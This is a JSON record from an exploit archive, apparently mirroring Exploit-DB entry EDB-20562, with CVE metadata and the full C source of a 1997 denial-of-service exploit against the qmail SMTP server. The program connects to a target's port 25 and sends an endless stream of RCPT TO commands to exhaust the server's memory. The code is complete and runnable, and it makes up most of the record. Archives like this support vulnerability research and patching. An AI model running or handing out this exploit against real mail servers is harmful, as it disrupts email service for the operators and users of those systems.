{"exploit":{"id":"EDB-20562","name":"Dan Bernstein QMail 1.0 3 - RCPT Denial of Service (DoS) (2)","description":"Dan Bernstein QMail 1.0 3 - RCPT Denial of Service (DoS) (2)","cves":["CVE-1999-0144"],"author":"Wietse Venema","published":"1997-06-12","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20562","path":"exploits/linux/dos/20562.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20562.c","vulnerabilities":[{"id":"CVE-1999-0144","state":"PUBLISHED","title":null,"titleSource":null,"description":"Denial of service in Qmail by specifying a large number of recipients with the RCPT command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0144","cvss":{"version":"2.0","baseScore":2.1,"severity":"low","vectorString":"AV:L/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0144"},"updatedAt":"2024-08-01T16:27:57.565Z","retrievedAt":"2026-11-27T09:07:50.897Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20562.png?v=2","url":"https://exploitbin.com/exploits/EDB-20562","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20562/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20562/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/1997/https://www.securityfocus.com/bid/2237/info\n\nqmail is an e-mail server package developed by Dan Bernstein.\n\nThe qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.\n\nThis behaviour is due to the dynamically allocated memory being exhausted.\n\nThe condition occurs in situations where resource limits are not imposed on the server process.\n\nMany systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.\n\nOnce affected, a restart of the qmail smtp service is required in order to gain normal functionality.\n\nIt should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.\n\n/*\n  * qmail-dos-2 - run a qmail system out of swap space by feeding an infinite\n  * amount of recipients.\n  *\n  * Usage: qmail-dos-2 fully-qualified-hostname\n  *\n  * Author: Wietse Venema. The author is not responsible for abuse of this\n  * program. Use at your own risk.\n  */\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <netdb.h>\n#include <string.h>\n#include <stdarg.h>\n#include <errno.h>\n#include <stdio.h>\n\nvoid    fatal(char *fmt,...)\n{\n    va_list ap;\n\n    va_start(ap, fmt);\n    vfprintf(stderr, fmt, ap);\n    va_end(ap);\n    putc('\\n', stderr);\n    exit(1);\n}\n\nchat(FILE * fp, char *fmt,...)\n{\n    char    buf[BUFSIZ];\n    va_list ap;\n\n    fseek(fp, 0L, SEEK_SET);\n    va_start(ap, fmt);\n    vfprintf(fp, fmt, ap);\n    va_end(ap);\n    fputs(\"\\r\\n\", fp);\n    if (fflush(fp))\n        fatal(\"connection lost\");\n    fseek(fp, 0L, SEEK_SET);\n    if (fgets(buf, sizeof(buf), fp) == 0)\n        fatal(\"connection lost\");\n    if (atoi(buf) / 100 != 2)\n        fatal(\"%s\", buf);\n}\n\nint     main(int argc, char **argv)\n{\n    struct sockaddr_in sin;\n    struct hostent *hp;\n    char    buf[BUFSIZ];\n    int     sock;\n    FILE   *fp;\n\n    if (argc != 2)\n        fatal(\"usage: %s host\", argv[0]);\n    if ((hp = gethostbyname(argv[1])) == 0)\n        fatal(\"host %s not found\", argv[1]);\n    memset((char *) &sin, 0, sizeof(sin));\n    sin.sin_family = AF_INET;\n    memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));\n    sin.sin_port = htons(25);\n    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)\n        fatal(\"socket: %s\", strerror(errno));\n    if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)\n        fatal(\"connect to %s: %s\", argv[1], strerror(errno));\n    if ((fp = fdopen(sock, \"r+\")) == 0)\n        fatal(\"fdopen: %s\", strerror(errno));\n    if (fgets(buf, sizeof(buf), fp) == 0)\n        fatal(\"connection lost\");\n    chat(fp, \"mail from:<me@me>\", fp);\n    for (;;)\n        chat(fp, \"rcpt to:<me@%s>\", argv[1]);\n}","sha256":"77ff052d7b8f55088ea0099c130245160dbf3365bdaa106f91289e2511b7af7e","bytes":2876,"fetchedAt":"2026-11-27T09:07:49.114Z","encoding":"utf-8 (display only; download retains original bytes)"}